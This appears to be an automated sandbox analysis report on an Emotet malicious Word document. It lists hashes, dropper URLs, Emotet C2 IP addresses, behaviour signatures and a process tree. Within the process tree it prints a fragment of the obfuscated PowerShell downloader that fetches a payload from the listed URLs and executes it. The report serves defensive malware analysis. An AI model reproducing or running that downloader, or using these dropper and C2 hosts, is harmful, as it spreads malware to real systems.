Analysis

  • max time kernel
    130s
  • max time network
    100s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    29-10-2020 13:00

General

  • Target

    emotet_e1_75fc337dd52e7d9cd46cb3a7938551eeefc05a67075a62e6442a0b6501c4fd0a_2020-10-29__125734253876._doc.doc

  • Size

    288KB

  • MD5

    04d224ec52eb178906699f26756254fa

  • SHA1

    b9387fc3417846ce5f567e258644b6b45d7c135e

  • SHA256

    75fc337dd52e7d9cd46cb3a7938551eeefc05a67075a62e6442a0b6501c4fd0a

  • SHA512

    2916a9630eb386bd6694d456c47c8b173289fd866a4787d25b3fd8b7906f5670c14eea5f1b13a283772d28c9159ba1c8bde03c8f97826c0b83b52527a45b4e8d

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://innhanmachn.com/wp-admin/sA/

exe.dropper

http://shomalhouse.com/wp-includes/ID3/IDz/

exe.dropper

http://blog.martyrolnick.com/wp-admin/Spq/

exe.dropper

https://www.frajamomadrid.com/wp-content/g/

exe.dropper

https://pesquisacred.com/vmware-unlocker/daC/

exe.dropper

https://medhempfarm.com/wp-admin/Lb/

exe.dropper

http://ienglishabc.com/cow/2BB/

Extracted

Family

emotet

Botnet

Epoch1

C2

192.198.91.138:443

70.39.251.94:8080

87.230.25.43:8080

94.23.62.116:8080

128.92.203.42:80

2.45.176.233:80

202.134.4.210:7080

46.101.58.37:8080

12.163.208.58:80

200.24.255.23:80

76.121.199.225:80

186.193.229.123:80

190.24.243.186:80

201.71.228.86:80

188.251.213.180:80

201.49.239.200:443

104.131.41.185:8080

172.104.169.32:8080

37.187.161.206:8080

70.32.84.74:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 9 IoCs
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_75fc337dd52e7d9cd46cb3a7938551eeefc05a67075a62e6442a0b6501c4fd0a_2020-10-29__125734253876._doc.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1644
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1036
    • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
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 [ ] ' + '   ' ) + ' [ ' + ( ' ] w ] ' + ' [ ' ) + ( ( '   1 ' + ' ) ' ) ) + ( '   ' + ' j j ' ) + ( ' k g ' + ' S   [ ] ' + '   [ ] ' ) + ' w ' + ( ' i e n ' + ' g ' ) + ( ' l i ' + ' s h a ' ) + ' b c ' + ( ' . c ' + ' o ' ) + ( ( ' m ] [ ' + '   1 ) ' + '   j ' ) ) + ( ' j k ' + ' g S ' ) + ( ( '   ' + ' [ ] ' + '   [ ' + ' ] w c ' + ' o w ] [   1 ' + ' )   ' ) ) + ' j j ' + ' k ' + ( ' g S ' + '   ' ) + ' [ ' + ' ] ' + ( '   ' + ' [ ] ' ) + ( ' w 2 B ' + ' B ' ) + ( ( ' ] [   ' + ' 1 ) ' ) ) + '   ' + ' j ' + ( ' j k ' + ' g ' ) + ( ' S   ' + ' [ ]   ' ) + ' [ ] ' + ' w ' ) ) . " R ` e p ` l a c E " ( ( ( ' ] [ ' + ( ( '   ' + ' 1 )   j j k g ' + ' S   [ ] ' ) ) + '   ' + ( ' [ ] ' + ' w ' ) ) ) , ( [ a r r a y ] ( ' / ' ) , ( ' x ' + ' w e ' ) ) [ 0 ] ) . " S ` P l i T " ( $ O d 7 c c w 9   +   $ S 9 5 c z 3 4   +   $ O n 5 5 l j g ) ; $ Q 9 e c c c 5 = ( ( ' F ' + ' o 4 ' ) + ' g ' + ( ' 2 ' + ' r k ' ) ) ; f o r e a c h   ( $ S 7 m _ b s h   i n   $ B o i e p 0 1 ) { t r y { $ Q 4 b 1 g 5 n . " d ` o W n L ` O a ` D f I l E " ( $ S 7 m _ b s h ,   $ G l k v f 7 b ) ; $ E 4 f k t e a = ( ' D ' + ' l i ' + ( ' 0 ' + ' 4 n _ ' ) ) ; I f   ( ( & ( ' G e t ' + ' - I t e ' + ' m ' )   $ G l k v f 7 b ) . " l ` e ` N g t h "   - g e   4 7 9 1 2 )   { ( [ w m i c l a s s ] ( ' w i ' + ( ' n ' + ' 3 2 ' ) + ' _ P ' + ( ' r ' + ' o c e s s ' ) ) ) . " C R ` e ` A t E " ( $ G l k v f 7 b ) ; $ K l m m l c r = ( ( ' V 6 z ' + ' 4 3 ' + ' q ' ) + ' d ' ) ; b r e a k ; $ M y s e 8 p t = ( ' S 8 ' + ( ' 2 6 6 j ' + ' 7 ' ) ) } } c a t c h { } } $ X w n f 9 b 5 = ( ' R _ ' + ( ' 1 k l ' + ' w ' ) + ' o ' ) 
      1⤵
      • Process spawned unexpected child process
      • Blacklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1620
    • C:\Users\Admin\Pjq6t3_\Jvnk7yk\N1pjur3u.exe
      C:\Users\Admin\Pjq6t3_\Jvnk7yk\N1pjur3u.exe
      1⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:656
      • C:\Windows\SysWOW64\napdsnap\wmerror.exe
        "C:\Windows\SysWOW64\napdsnap\wmerror.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1484

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\Pjq6t3_\Jvnk7yk\N1pjur3u.exe
      MD5

      e35c8103f924210d388d02edec91ff1c

      SHA1

      a2436b72d49bc344ac3f0226f09aa34f9e2b2f8a

      SHA256

      c63eef43cec61412ba12f6c405faad6a697ad134edd7375bafd47a759bd352cb

      SHA512

      ef54e996cbc0a95353f4014858aa1d707786c175a0a60d1ec6d7c8f587e48385d367b333fccb9dbd6648367c2bc8165a411f056245f121e40af02d995bdb6971

    • C:\Users\Admin\Pjq6t3_\Jvnk7yk\N1pjur3u.exe
      MD5

      e35c8103f924210d388d02edec91ff1c

      SHA1

      a2436b72d49bc344ac3f0226f09aa34f9e2b2f8a

      SHA256

      c63eef43cec61412ba12f6c405faad6a697ad134edd7375bafd47a759bd352cb

      SHA512

      ef54e996cbc0a95353f4014858aa1d707786c175a0a60d1ec6d7c8f587e48385d367b333fccb9dbd6648367c2bc8165a411f056245f121e40af02d995bdb6971

    • C:\Windows\SysWOW64\napdsnap\wmerror.exe
      MD5

      e35c8103f924210d388d02edec91ff1c

      SHA1

      a2436b72d49bc344ac3f0226f09aa34f9e2b2f8a

      SHA256

      c63eef43cec61412ba12f6c405faad6a697ad134edd7375bafd47a759bd352cb

      SHA512

      ef54e996cbc0a95353f4014858aa1d707786c175a0a60d1ec6d7c8f587e48385d367b333fccb9dbd6648367c2bc8165a411f056245f121e40af02d995bdb6971

    • memory/596-20-0x000007FEF7B10000-0x000007FEF7D8A000-memory.dmp
      Filesize

      2.5MB

    • memory/656-14-0x00000000002C0000-0x00000000002D0000-memory.dmp
      Filesize

      64KB

    • memory/656-13-0x00000000003D0000-0x00000000003E2000-memory.dmp
      Filesize

      72KB

    • memory/1036-11-0x0000000000000000-mapping.dmp
    • memory/1484-16-0x0000000000000000-mapping.dmp
    • memory/1484-18-0x00000000004F0000-0x0000000000502000-memory.dmp
      Filesize

      72KB

    • memory/1484-19-0x00000000003F0000-0x0000000000400000-memory.dmp
      Filesize

      64KB

    • memory/1620-9-0x000000001B540000-0x000000001B541000-memory.dmp
      Filesize

      4KB

    • memory/1620-10-0x000000001BA50000-0x000000001BA51000-memory.dmp
      Filesize

      4KB

    • memory/1620-8-0x0000000002630000-0x0000000002631000-memory.dmp
      Filesize

      4KB

    • memory/1620-7-0x00000000026D0000-0x00000000026D1000-memory.dmp
      Filesize

      4KB

    • memory/1620-6-0x000000001AC90000-0x000000001AC91000-memory.dmp
      Filesize

      4KB

    • memory/1620-5-0x00000000023D0000-0x00000000023D1000-memory.dmp
      Filesize

      4KB

    • memory/1620-4-0x000007FEF55B0000-0x000007FEF5F9C000-memory.dmp
      Filesize

      9.9MB

    • memory/1644-0-0x0000000000572000-0x0000000000576000-memory.dmp
      Filesize

      16KB

    • memory/1644-2-0x0000000000572000-0x0000000000576000-memory.dmp
      Filesize

      16KB

    • memory/1644-1-0x0000000006190000-0x0000000006194000-memory.dmp
      Filesize

      16KB